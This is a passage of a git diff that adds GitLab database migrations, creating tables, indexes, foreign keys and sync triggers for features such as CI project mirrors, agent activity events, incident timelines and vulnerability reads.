+ t.index :traversal_ids, name: INDEX_NAME, using: :gin
+ end
+ end
+end
diff --git a/db/migrate/20211011140931_create_ci_project_mirrors.rb b/db/migrate/20211011140931_create_ci_project_mirrors.rb
new file mode 100644
index 00000000000..2407b7e0b84
--- /dev/null
+++ b/db/migrate/20211011140931_create_ci_project_mirrors.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class CreateCiProjectMirrors < Gitlab::Database::Migration[1.0]
+ TABLE_NAME = :ci_project_mirrors
+
+ def change
+ create_table TABLE_NAME do |t|
+ t.integer :project_id, null: false, index: { unique: true }
+ t.integer :namespace_id, null: false, index: true
+ end
+ end
+end
diff --git a/db/migrate/20211011140932_create_namespaces_sync_events.rb b/db/migrate/20211011140932_create_namespaces_sync_events.rb
new file mode 100644
index 00000000000..06831423343
--- /dev/null
+++ b/db/migrate/20211011140932_create_namespaces_sync_events.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class CreateNamespacesSyncEvents < Gitlab::Database::Migration[1.0]
+ def change
+ create_table :namespaces_sync_events do |t|
+ t.references :namespace, null: false, index: true, foreign_key: { on_delete: :cascade }
+ end
+ end
+end
diff --git a/db/migrate/20211011141239_create_projects_sync_events.rb b/db/migrate/20211011141239_create_projects_sync_events.rb
new file mode 100644
index 00000000000..50fe988ac1b
--- /dev/null
+++ b/db/migrate/20211011141239_create_projects_sync_events.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class CreateProjectsSyncEvents < Gitlab::Database::Migration[1.0]
+ def change
+ create_table :projects_sync_events do |t|
+ t.references :project, null: false, index: true, foreign_key: { on_delete: :cascade }
+ end
+ end
+end
diff --git a/db/migrate/20211011141242_create_namespaces_sync_trigger.rb b/db/migrate/20211011141242_create_namespaces_sync_trigger.rb
new file mode 100644
index 00000000000..91f64709f28
--- /dev/null
+++ b/db/migrate/20211011141242_create_namespaces_sync_trigger.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class CreateNamespacesSyncTrigger < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::SchemaHelpers
+
+ enable_lock_retries!
+
+ TABLE_NAME = 'namespaces'
+ EVENT_TABLE_NAME = 'namespaces_sync_events'
+ FUNCTION_NAME = 'insert_namespaces_sync_event'
+ TRIGGER_ON_INSERT = 'trigger_namespaces_parent_id_on_insert'
+ TRIGGER_ON_UPDATE = 'trigger_namespaces_parent_id_on_update'
+
+ def up
+ create_trigger_function(FUNCTION_NAME) do
+ <<~SQL
+ INSERT INTO #{EVENT_TABLE_NAME} (namespace_id)
+ VALUES(COALESCE(NEW.id, OLD.id));
+ RETURN NULL;
+ SQL
+ end
+
+ create_trigger(TABLE_NAME, TRIGGER_ON_INSERT, FUNCTION_NAME, fires: 'AFTER INSERT')
+
+ create_trigger(TABLE_NAME, TRIGGER_ON_UPDATE, FUNCTION_NAME, fires: 'AFTER UPDATE') do
+ <<~SQL
+ WHEN (OLD.parent_id IS DISTINCT FROM NEW.parent_id)
+ SQL
+ end
+ end
+
+ def down
+ drop_trigger(TABLE_NAME, TRIGGER_ON_INSERT)
+ drop_trigger(TABLE_NAME, TRIGGER_ON_UPDATE)
+ drop_function(FUNCTION_NAME)
+ end
+end
diff --git a/db/migrate/20211011141243_create_projects_sync_trigger.rb b/db/migrate/20211011141243_create_projects_sync_trigger.rb
new file mode 100644
index 00000000000..03b31c35a3a
--- /dev/null
+++ b/db/migrate/20211011141243_create_projects_sync_trigger.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class CreateProjectsSyncTrigger < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::SchemaHelpers
+
+ enable_lock_retries!
+
+ TABLE_NAME = 'projects'
+ EVENT_TABLE_NAME = 'projects_sync_events'
+ FUNCTION_NAME = 'insert_projects_sync_event'
+ TRIGGER_ON_INSERT = 'trigger_projects_parent_id_on_insert'
+ TRIGGER_ON_UPDATE = 'trigger_projects_parent_id_on_update'
+
+ def up
+ create_trigger_function(FUNCTION_NAME) do
+ <<~SQL
+ INSERT INTO #{EVENT_TABLE_NAME} (project_id)
+ VALUES(COALESCE(NEW.id, OLD.id));
+ RETURN NULL;
+ SQL
+ end
+
+ create_trigger(TABLE_NAME, TRIGGER_ON_INSERT, FUNCTION_NAME, fires: 'AFTER INSERT')
+
+ create_trigger(TABLE_NAME, TRIGGER_ON_UPDATE, FUNCTION_NAME, fires: 'AFTER UPDATE') do
+ <<~SQL
+ WHEN (OLD.namespace_id IS DISTINCT FROM NEW.namespace_id)
+ SQL
+ end
+ end
+
+ def down
+ drop_trigger(TABLE_NAME, TRIGGER_ON_INSERT)
+ drop_trigger(TABLE_NAME, TRIGGER_ON_UPDATE)
+ drop_function(FUNCTION_NAME)
+ end
+end
diff --git a/db/migrate/20211101165656_create_upload_states.rb b/db/migrate/20211101165656_create_upload_states.rb
new file mode 100644
index 00000000000..64873f4c9a2
--- /dev/null
+++ b/db/migrate/20211101165656_create_upload_states.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class CreateUploadStates < Gitlab::Database::Migration[1.0]
+ VERIFICATION_STATE_INDEX_NAME = "index_upload_states_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_upload_states_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_upload_states_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_upload_states_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ create_table :upload_states, id: false do |t|
+ t.datetime_with_timezone :verification_started_at
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.references :upload, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure, limit: 255
+
+ t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+ end
+
+ def down
+ drop_table :upload_states
+ end
+end
diff --git a/db/migrate/20211108204736_add_policy_idx_to_approval_project_rule.rb b/db/migrate/20211108204736_add_policy_idx_to_approval_project_rule.rb
new file mode 100644
index 00000000000..90e5fa34817
--- /dev/null
+++ b/db/migrate/20211108204736_add_policy_idx_to_approval_project_rule.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddPolicyIdxToApprovalProjectRule < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def change
+ add_column :approval_project_rules, :orchestration_policy_idx, :integer, limit: 2
+ end
+end
diff --git a/db/migrate/20211110014701_create_agent_activity_events.rb b/db/migrate/20211110014701_create_agent_activity_events.rb
new file mode 100644
index 00000000000..11b9c6d03b3
--- /dev/null
+++ b/db/migrate/20211110014701_create_agent_activity_events.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class CreateAgentActivityEvents < Gitlab::Database::Migration[1.0]
+ def change
+ create_table :agent_activity_events do |t|
+ t.bigint :agent_id, null: false
+ t.bigint :user_id, index: { where: 'user_id IS NOT NULL' }
+ t.bigint :project_id, index: { where: 'project_id IS NOT NULL' }
+ t.bigint :merge_request_id, index: { where: 'merge_request_id IS NOT NULL' }
+ t.bigint :agent_token_id, index: { where: 'agent_token_id IS NOT NULL' }
+
+ t.datetime_with_timezone :recorded_at, null: false
+ t.integer :kind, limit: 2, null: false
+ t.integer :level, limit: 2, null: false
+
+ t.binary :sha
+ t.text :detail, limit: 255
+
+ t.index [:agent_id, :recorded_at, :id]
+ end
+ end
+end
diff --git a/db/migrate/20211110015252_add_agent_activity_events_foreign_keys.rb b/db/migrate/20211110015252_add_agent_activity_events_foreign_keys.rb
new file mode 100644
index 00000000000..fcbafcccb06
--- /dev/null
+++ b/db/migrate/20211110015252_add_agent_activity_events_foreign_keys.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+class AddAgentActivityEventsForeignKeys < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :agent_activity_events, :cluster_agents, column: :agent_id, on_delete: :cascade
+ add_concurrent_foreign_key :agent_activity_events, :users, column: :user_id, on_delete: :nullify
+ add_concurrent_foreign_key :agent_activity_events, :projects, column: :project_id, on_delete: :nullify
+ add_concurrent_foreign_key :agent_activity_events, :merge_requests, column: :merge_request_id, on_delete: :nullify
+ add_concurrent_foreign_key :agent_activity_events, :cluster_agent_tokens, column: :agent_token_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :agent_activity_events, column: :agent_id
+ end
+
+ with_lock_retries do
+ remove_foreign_key_if_exists :agent_activity_events, column: :user_id
+ end
+
+ with_lock_retries do
+ remove_foreign_key_if_exists :agent_activity_events, column: :project_id
+ end
+
+ with_lock_retries do
+ remove_foreign_key_if_exists :agent_activity_events, column: :merge_request_id
+ end
+
+ with_lock_retries do
+ remove_foreign_key_if_exists :agent_activity_events, column: :agent_token_id
+ end
+ end
+end
diff --git a/db/migrate/20211110092710_create_issue_emails.rb b/db/migrate/20211110092710_create_issue_emails.rb
new file mode 100644
index 00000000000..5f6104fa2c3
--- /dev/null
+++ b/db/migrate/20211110092710_create_issue_emails.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class CreateIssueEmails < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def up
+ create_table :issue_emails do |t|
+ t.references :issue, index: true, null: false, unique: true, foreign_key: { on_delete: :cascade }
+ t.text :email_message_id, null: false, limit: 1000
+
+ t.index :email_message_id
+ end
+ end
+
+ def down
+ drop_table :issue_emails
+ end
+end
diff --git a/db/migrate/20211111112425_create_merge_requests_compliance_violations.rb b/db/migrate/20211111112425_create_merge_requests_compliance_violations.rb
new file mode 100644
index 00000000000..064dc38f5b3
--- /dev/null
+++ b/db/migrate/20211111112425_create_merge_requests_compliance_violations.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class CreateMergeRequestsComplianceViolations < Gitlab::Database::Migration[1.0]
+ def change
+ create_table :merge_requests_compliance_violations do |t|
+ t.bigint :violating_user_id, null: false
+ t.bigint :merge_request_id, null: false
+ t.integer :reason, limit: 2, null: false
+ t.index :violating_user_id
+ t.index [:merge_request_id, :violating_user_id, :reason], unique: true, name: 'index_merge_requests_compliance_violations_unique_columns'
+ end
+ end
+end
diff --git a/db/migrate/20211111112639_add_fk_compliance_violations_merge_request.rb b/db/migrate/20211111112639_add_fk_compliance_violations_merge_request.rb
new file mode 100644
index 00000000000..b280c35433b
--- /dev/null
+++ b/db/migrate/20211111112639_add_fk_compliance_violations_merge_request.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddFkComplianceViolationsMergeRequest < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :merge_requests_compliance_violations,
+ :merge_requests,
+ column: :merge_request_id,
+ on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :merge_requests_compliance_violations, column: :merge_request_id
+ end
+ end
+end
diff --git a/db/migrate/20211111112713_add_fk_compliance_violations_violating_user.rb b/db/migrate/20211111112713_add_fk_compliance_violations_violating_user.rb
new file mode 100644
index 00000000000..af1cd6f07ed
--- /dev/null
+++ b/db/migrate/20211111112713_add_fk_compliance_violations_violating_user.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddFkComplianceViolationsViolatingUser < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :merge_requests_compliance_violations,
+ :users,
+ column: :violating_user_id,
+ on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :merge_requests_compliance_violations, column: :violating_user_id
+ end
+ end
+end
diff --git a/db/migrate/20211111164025_add_squash_commit_template_to_project_settings.rb b/db/migrate/20211111164025_add_squash_commit_template_to_project_settings.rb
new file mode 100644
index 00000000000..6120a6ed0b4
--- /dev/null
+++ b/db/migrate/20211111164025_add_squash_commit_template_to_project_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddSquashCommitTemplateToProjectSettings < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def change
+ add_column :project_settings, :squash_commit_template, :text # rubocop:disable Migration/AddLimitToTextColumns
+ end
+end
diff --git a/db/migrate/20211111164047_add_squash_commit_template_limit_to_project_settings.rb b/db/migrate/20211111164047_add_squash_commit_template_limit_to_project_settings.rb
new file mode 100644
index 00000000000..578d2271d60
--- /dev/null
+++ b/db/migrate/20211111164047_add_squash_commit_template_limit_to_project_settings.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddSquashCommitTemplateLimitToProjectSettings < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :project_settings, :squash_commit_template, 500
+ end
+
+ def down
+ remove_text_limit :project_settings, :squash_commit_template
+ end
+end
diff --git a/db/migrate/20211112073413_change_package_index_on_corpus.rb b/db/migrate/20211112073413_change_package_index_on_corpus.rb
new file mode 100644
index 00000000000..6e8222f853c
--- /dev/null
+++ b/db/migrate/20211112073413_change_package_index_on_corpus.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class ChangePackageIndexOnCorpus < Gitlab::Database::Migration[1.0]
+ INDEX_NAME = 'index_coverage_fuzzing_corpuses_on_package_id'
+
+ disable_ddl_transaction!
+
+ # Changing this index is safe.
+ # The table does not have any data in it as it's behind a feature flag.
+ def up
+ remove_concurrent_index :coverage_fuzzing_corpuses, :package_id, name: INDEX_NAME
+ add_concurrent_index :coverage_fuzzing_corpuses, :package_id, unique: true, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :coverage_fuzzing_corpuses, :package_id, name: INDEX_NAME
+ add_concurrent_index :coverage_fuzzing_corpuses, :package_id, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20211115132613_create_incident_management_timeline_events.rb b/db/migrate/20211115132613_create_incident_management_timeline_events.rb
new file mode 100644
index 00000000000..217dcd27b4c
--- /dev/null
+++ b/db/migrate/20211115132613_create_incident_management_timeline_events.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class CreateIncidentManagementTimelineEvents < Gitlab::Database::Migration[1.0]
+ def up
+ create_table :incident_management_timeline_events do |t|
+ t.timestamps_with_timezone null: false
+ t.datetime_with_timezone :occurred_at, null: false
+ t.bigint :project_id, null: false
+ t.bigint :author_id
+ t.bigint :issue_id, null: false
+ t.bigint :updated_by_user_id
+ t.bigint :promoted_from_note_id
+ t.integer :cached_markdown_version
+ t.boolean :editable, null: false, default: false
+ t.text :note, limit: 10_000, null: false
+ t.text :note_html, limit: 10_000, null: false
+ t.text :action, limit: 128, null: false
+
+ t.index :project_id, name: 'index_im_timeline_events_project_id'
+ t.index :author_id, name: 'index_im_timeline_events_author_id'
+ t.index :issue_id, name: 'index_im_timeline_events_issue_id'
+ t.index :updated_by_user_id, name: 'index_im_timeline_events_updated_by_user_id'
+ t.index :promoted_from_note_id, name: 'index_im_timeline_events_promoted_from_note_id'
+ end
+ end
+
+ def down
+ drop_table :incident_management_timeline_events
+ end
+end
diff --git a/db/migrate/20211115142803_add_foreign_key_to_incident_management_timeline_events_on_project.rb b/db/migrate/20211115142803_add_foreign_key_to_incident_management_timeline_events_on_project.rb
new file mode 100644
index 00000000000..893043cc1ab
--- /dev/null
+++ b/db/migrate/20211115142803_add_foreign_key_to_incident_management_timeline_events_on_project.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToIncidentManagementTimelineEventsOnProject < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :incident_management_timeline_events, :projects, column: :project_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :incident_management_timeline_events, column: :project_id
+ end
+ end
+end
diff --git a/db/migrate/20211115142847_add_foreign_key_to_incident_management_timeline_events_on_user.rb b/db/migrate/20211115142847_add_foreign_key_to_incident_management_timeline_events_on_user.rb
new file mode 100644
index 00000000000..0f5886eb5ed
--- /dev/null
+++ b/db/migrate/20211115142847_add_foreign_key_to_incident_management_timeline_events_on_user.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToIncidentManagementTimelineEventsOnUser < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :incident_management_timeline_events, :users, column: :author_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :incident_management_timeline_events, column: :author_id
+ end
+ end
+end
diff --git a/db/migrate/20211115142911_add_foreign_key_to_incident_management_timeline_events_on_issue.rb b/db/migrate/20211115142911_add_foreign_key_to_incident_management_timeline_events_on_issue.rb
new file mode 100644
index 00000000000..bdcf7f389d1
--- /dev/null
+++ b/db/migrate/20211115142911_add_foreign_key_to_incident_management_timeline_events_on_issue.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToIncidentManagementTimelineEventsOnIssue < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :incident_management_timeline_events, :issues, column: :issue_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :incident_management_timeline_events, column: :issue_id
+ end
+ end
+end
diff --git a/db/migrate/20211115145107_add_created_at_to_namespace_monthly_usages.rb b/db/migrate/20211115145107_add_created_at_to_namespace_monthly_usages.rb
new file mode 100644
index 00000000000..e0e2bec72ad
--- /dev/null
+++ b/db/migrate/20211115145107_add_created_at_to_namespace_monthly_usages.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddCreatedAtToNamespaceMonthlyUsages < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ add_column :ci_namespace_monthly_usages, :created_at, :datetime_with_timezone
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :ci_namespace_monthly_usages, :created_at
+ end
+ end
+end
diff --git a/db/migrate/20211115154103_add_created_at_to_project_monthly_usage.rb b/db/migrate/20211115154103_add_created_at_to_project_monthly_usage.rb
new file mode 100644
index 00000000000..eb0cd448da3
--- /dev/null
+++ b/db/migrate/20211115154103_add_created_at_to_project_monthly_usage.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddCreatedAtToProjectMonthlyUsage < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ add_column :ci_project_monthly_usages, :created_at, :datetime_with_timezone
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :ci_project_monthly_usages, :created_at
+ end
+ end
+end
diff --git a/db/migrate/20211116093739_add_foreign_key_to_incident_management_timeline_events_on_updated_by_user.rb b/db/migrate/20211116093739_add_foreign_key_to_incident_management_timeline_events_on_updated_by_user.rb
new file mode 100644
index 00000000000..a35020699fc
--- /dev/null
+++ b/db/migrate/20211116093739_add_foreign_key_to_incident_management_timeline_events_on_updated_by_user.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToIncidentManagementTimelineEventsOnUpdatedByUser < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :incident_management_timeline_events, :users, column: :updated_by_user_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :incident_management_timeline_events, column: :updated_by_user_id
+ end
+ end
+end
diff --git a/db/migrate/20211117174209_create_vulnerability_reads.rb b/db/migrate/20211117174209_create_vulnerability_reads.rb
new file mode 100644
index 00000000000..b9e32bfd0fa
--- /dev/null
+++ b/db/migrate/20211117174209_create_vulnerability_reads.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityReads < Gitlab::Database::Migration[1.0]
+ def change
+ create_table :vulnerability_reads do |t|
+ t.bigint :vulnerability_id, null: false
+ t.bigint :project_id, null: false
+ t.bigint :scanner_id, null: false
+ t.integer :report_type, limit: 2, null: false
+ t.integer :severity, limit: 2, null: false
+ t.integer :state, limit: 2, null: false
+ t.boolean :has_issues, default: false, null: false
+ t.boolean :resolved_on_default_branch, default: false, null: false
+ t.uuid :uuid, null: false
+ t.text :location_image, limit: 2048
+
+ t.index :vulnerability_id, unique: true
+ t.index :scanner_id
+ t.index :uuid, unique: true
+ t.index [:project_id, :state, :severity, :vulnerability_id], name: :index_vuln_reads_on_project_id_state_severity_and_vuln_id, order: { vulnerability_id: :desc }
+ t.index :location_image, where: "report_type IN (2, 7)", name: :index_vulnerability_reads_on_location_image
+ end
+ end
+end
diff --git a/db/migrate/20211118100959_change_default_value_of_loose_fk_deleted_records_partition.rb b/db/migrate/20211118100959_change_default_value_of_loose_fk_deleted_records_partition.rb
new file mode 100644
index 00000000000..185178d8025
--- /dev/null
+++ b/db/migrate/20211118100959_change_default_value_of_loose_fk_deleted_records_partition.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class ChangeDefaultValueOfLooseFkDeletedRecordsPartition < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def change
+ change_column_default(:loose_foreign_keys_deleted_records, :partition, from: nil, to: 1)
+ end
+end
diff --git a/db/migrate/20211118103439_remove_hardcoded_partition_from_loose_fk_trigger_function.rb b/db/migrate/20211118103439_remove_hardcoded_partition_from_loose_fk_trigger_function.rb
new file mode 100644
index 00000000000..33159167b19
--- /dev/null
+++ b/db/migrate/20211118103439_remove_hardcoded_partition_from_loose_fk_trigger_function.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class RemoveHardcodedPartitionFromLooseFkTriggerFunction < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ execute(<<~SQL)
+ CREATE OR REPLACE FUNCTION #{DELETED_RECORDS_INSERT_FUNCTION_NAME}()
+ RETURNS TRIGGER AS
+ $$
+ BEGIN
+ INSERT INTO loose_foreign_keys_deleted_records
+ (fully_qualified_table_name, primary_key_value)
+ SELECT TG_TABLE_SCHEMA || '.' || TG_TABLE_NAME, old_table.id FROM old_table;
+
+ RETURN NULL;
+ END
+ $$ LANGUAGE PLPGSQL
+ SQL
+ end
+
+ def down
+ execute(<<~SQL)
+ CREATE OR REPLACE FUNCTION #{DELETED_RECORDS_INSERT_FUNCTION_NAME}()
+ RETURNS TRIGGER AS
+ $$
+ BEGIN
+ INSERT INTO loose_foreign_keys_deleted_records
+ (partition, fully_qualified_table_name, primary_key_value)
+ SELECT 1, TG_TABLE_SCHEMA || '.' || TG_TABLE_NAME, old_table.id FROM old_table
+ ON CONFLICT DO NOTHING;
+
+ RETURN NULL;
+ END
+ $$ LANGUAGE PLPGSQL
+ SQL
+ end
+end
diff --git a/db/migrate/20211118114228_add_max_ssh_key_lifetime_to_application_settings.rb b/db/migrate/20211118114228_add_max_ssh_key_lifetime_to_application_settings.rb
new file mode 100644
index 00000000000..1b0d2104c91
--- /dev/null
+++ b/db/migrate/20211118114228_add_max_ssh_key_lifetime_to_application_settings.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddMaxSshKeyLifetimeToApplicationSettings < Gitlab::Database::Migration[1.0]
+ def change
+ add_column :application_settings, :max_ssh_key_lifetime, :integer
+ end
+end
diff --git a/db/migrate/20211118124537_add_foreign_key_to_vulnerability_reads_on_vulnerability.rb b/db/migrate/20211118124537_add_foreign_key_to_vulnerability_reads_on_vulnerability.rb
new file mode 100644
index 00000000000..dd5b0bdc028
--- /dev/null
+++ b/db/migrate/20211118124537_add_foreign_key_to_vulnerability_reads_on_vulnerability.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToVulnerabilityReadsOnVulnerability < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :vulnerability_reads, :vulnerabilities, column: :vulnerability_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :vulnerability_reads, column: :vulnerability_id
+ end
+ end
+end
diff --git a/db/migrate/20211118124628_add_foreign_key_to_vulnerability_reads_on_project.rb b/db/migrate/20211118124628_add_foreign_key_to_vulnerability_reads_on_project.rb
new file mode 100644
index 00000000000..14dde371e3d
--- /dev/null
+++ b/db/migrate/20211118124628_add_foreign_key_to_vulnerability_reads_on_project.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToVulnerabilityReadsOnProject < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :vulnerability_reads, :projects, column: :project_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :vulnerability_reads, column: :project_id
+ end
+ end
+end
diff --git a/db/migrate/20211118124650_add_foreign_key_to_vulnerability_reads_on_scanner.rb b/db/migrate/20211118124650_add_foreign_key_to_vulnerability_reads_on_scanner.rb
new file mode 100644
index 00000000000..923e62a4beb
--- /dev/null
+++ b/db/migrate/20211118124650_add_foreign_key_to_vulnerability_reads_on_scanner.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToVulnerabilityReadsOnScanner < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :vulnerability_reads, :vulnerability_scanners, column: :scanner_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :vulnerability_reads, column: :scanner_id
+ end
+ end
+end
diff --git a/db/migrate/20211119085015_add_orignal_filename_to_ci_job_artifact.rb b/db/migrate/20211119085015_add_orignal_filename_to_ci_job_artifact.rb
new file mode 100644
index 00000000000..f52bc346d16
--- /dev/null
+++ b/db/migrate/20211119085015_add_orignal_filename_to_ci_job_artifact.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddOrignalFilenameToCiJobArtifact < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20211119085036_add_text_limit_to_job_artifact_original_filename.rb
+ def up
+ add_column :ci_job_artifacts, :original_filename, :text
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+
+ def down
+ remove_column :ci_job_artifacts, :original_filename, :text
+ end
+end
diff --git a/db/migrate/20211119154221_create_pages_deployment_states.rb b/db/migrate/20211119154221_create_pages_deployment_states.rb
new file mode 100644
index 00000000000..283f6c7d0d7
--- /dev/null
+++ b/db/migrate/20211119154221_create_pages_deployment_states.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+class CreatePagesDeploymentStates < Gitlab::Database::Migration[1.0]
+ VERIFICATION_STATE_INDEX_NAME = "index_pages_deployment_states_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_pages_deployment_states_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_pages_deployment_states_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_pages_deployment_states_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:pages_deployment_states)
+ with_lock_retries do
+ create_table :pages_deployment_states, id: false do |t|
+ t.references :pages_deployment, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure
+
+ t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+ end
+ end
+
+ add_text_limit :pages_deployment_states, :verification_failure, 255
+ end
+
+ def down
+ drop_table :pages_deployment_states
+ end
+end
diff --git a/db/migrate/20211119170805_remove_test_report_requirement_issue_constraint.rb b/db/migrate/20211119170805_remove_test_report_requirement_issue_constraint.rb
new file mode 100644
index 00000000000..9064242ee30
--- /dev/null
+++ b/db/migrate/20211119170805_remove_test_report_requirement_issue_constraint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class RemoveTestReportRequirementIssueConstraint < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ TARGET_TABLE = :requirements_management_test_reports
+ CONSTRAINT_NAME = 'requirements_test_reports_requirement_id_xor_issue_id'
+
+ def up
+ remove_check_constraint TARGET_TABLE, CONSTRAINT_NAME
+ end
+
+ def down
